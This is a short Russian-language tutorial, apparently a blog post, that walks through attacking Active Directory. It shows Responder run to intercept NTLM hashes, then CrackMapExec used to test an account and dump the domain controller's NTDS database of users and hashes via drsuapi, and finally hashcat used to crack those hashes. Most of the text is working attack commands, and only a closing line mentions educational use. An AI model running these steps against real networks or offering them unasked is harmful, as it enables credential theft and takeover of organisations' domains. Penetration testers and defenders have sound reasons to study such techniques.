Найти тему

Атака на AD_NTLM-хэш

Сегодня мы разберем тему атаки на Active Directory (далее - AD), а точнее перехват NTLM-хеша учётной записи с последующим её вскрытием.

Для начала напомню, что NTLM — протокол аутентификации пользователя в AD. Процесс заключается в следующем:

✔ Пользователь устанавливает подключение (сетевой путь) к серверу и отправляет NEGOTIATE_MESSAGE со своими возможностями.

✔ Сервер отвечает сообщением CHALLENGE_MESSAGE, которое используется для идентификации (установления личности) клиента.

✔ Клиент присылает ответ на сообщение с помощью AUTHENTICATE_MESSAGE.

Осуществляет перехват хеша поможет утилита Responder. Запуск производится командой:

Responder -I eth0 -wrf

Хеш, который мы получили бы по результатам атаки, можно сбрутить, об этом в конце поста. Для получения списка пользователей с их NTLM-хешами воспользуемся утилитой crackmapexec, предустановленной в Kali Linux. Всё же лучше ее обновить:

apt-get install -y libssl-dev libffi-dev python-dev build-essential
git clone https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec && git submodule init && git submodule update --recursive
python setup.py install

После окончания обновления начинаем. Несмотря на то, что программа богата на функции, потребуется только одна из них. Запуск утилиты проводится командой cme, но, как и большинство терминальных приложений Linux, ничего не заработает без аргументов. Первым делом проведем проверку пользователя на возможность вытащить с его помощью данные о других пользователях.

cme smb *ip_контроллера_домена* -u *имя_пользователя* -p *пароль*

Если программа показала Pwn3d! — фортуна сегодня на Вашей стороне и Вы нашли пользователя, который поможет получить данные, если же нет, проведите операцию сниффинга заново.

Далее, когда найден пользователь, способный вытащить всю базу, вводим команду:

cme smb *ip_контроллера_домена* -u *имя_пользователя* -p *пароль* --ntds drsuapi

В результате получаем базу с пользователями и их NTLM-хешами. Она выдаётся на экран, сохраняется в лог-файл и в cmedb. Проще всего её вновь вызвать командой cmedb, внутри неё введя creds.

Теперь о брутфорсе — то, без чего все действия выше не имели бы смысла. Вытащенные хеши требуется поместить в .txt файл, каждый на новой строке. Теперь передаем информацию hashcat’у:

hashcat -m 1000 -a 0 *файл_с_хешами* *файл_с_паролями*

Да используйте полученные знания в образовательных целях! До новых встреч!